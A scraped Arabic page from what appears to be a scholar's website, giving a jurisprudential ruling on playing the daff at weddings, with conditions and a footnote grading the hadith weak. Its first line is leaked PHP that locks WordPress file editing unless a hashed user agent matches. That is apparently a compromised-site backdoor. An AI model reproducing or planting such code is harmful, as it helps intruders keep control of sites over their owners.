if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } وصف الدف وحكمه - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

وصف الدف وحكمه

استثنى الشارع من هذه الآلات كلها الدف وهو الذي يُصنع من جلدٍ من وجه واحد، فالدف آلة مستديرة كالغربال، كالمنخل ليس لها جلاجل ويكون من الجلد من وجهٍ واحد، فإن كان الجلد من وجهين فهو طبلٌ محرمٌ، استثنى الشارع في الأعراس للنساء الدف المصنوع من جلدٍ ويكون من جهةٍ واحدةٍ ولا يكون في أطرافه جلاجل ولا أجراس ونحوها؛ لحديث: «أعلِنوا هذا النِّكاحَ واجعَلوهُ في المساجدِ واضرِبوا عليهِ بالدُّفوفِ»[1] [رواه الترمذي وابن ماجه، قال الترمذي: هذا الحديث غريبٌ حسنٌ في هذا الباب]، وقال الإمام أحمد رحمه الله: يُستحب أن يُظهر النكاح ويُضرب عليه بالدف ليشتهر وهذا هو الصحيح من قولي أهل العلم في الدف في الأعراس، منهم من قال: يُباح جائز، ومنهم من قال: مسنون وهم أسعد بالدليل؛ فإن من مقاصد الشارع في النكاح إظهاره وإشهاره وضرب الدف عليه، يُعين على تحقيق هذا الهدف الشرعي، الأمر الثاني: أن فيه إظهار للفرح والسرور المضبوط بضوابط الشرع، ومن أهمها:

أولًا: أن يكون مختصًا بالنساء.

ثانيًا: ألا يُزعج المجاورين في البيوتات.

ثالثًا: ألا يسمع الرجال أصوات النساء، وهذا القيد يغفل عنه كثيرٌ من الناس فتكون صالة الرجال بجوار صالة النساء وربما صالة الطعام جوار صالة النساء، والنساء يضـربن بالدف المباح مع أشعار طيبة لا غزل فيها ولا مجون، ففعلهم مباحٌ لكن كون الصوت يُسمع ويُنقل للرجال، هذا محرم.

إذن نقول: لا يُزعج الجيران ولا يسمعه الرجال وألا يكون سببًا للسهر المفضي لتفويت فضيلة قيام الليل والتهجد أو الفجر أو الوقت، وهذا أيضًا من القيود المعتبرة شرعًا، إذ المقصود به الإعلان وهذا يحصل بالضرب في أول الليل ساعةً أو ساعتين أول الليل ثم يتفرق الناس ويبيتون وينامون، أما أن يضربوا هذا الدف إلى الفجر أو إلى طلوع الشمس كما هو حاصل في بعض الأعراس فهذا منكر.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه الترمذي (1089)، والبيهقي (15095) واللفظ له، وابن ماجه (1895) باختلاف يسير، قال عنه الترمذي: غريب حسن، وعيسى بن ميمون الأنصاري يضعف في الحديث، وقال عنه البغوي في شرح السنة: إسناده غريب، وقال عنه البيهقي في السنن الكبرى: [فيه] عيسى بن ميمون ضعيف، وخرجه الألباني في ضعيف الترمذي (1089)، وقال: ضعيف، إلا الإعلان.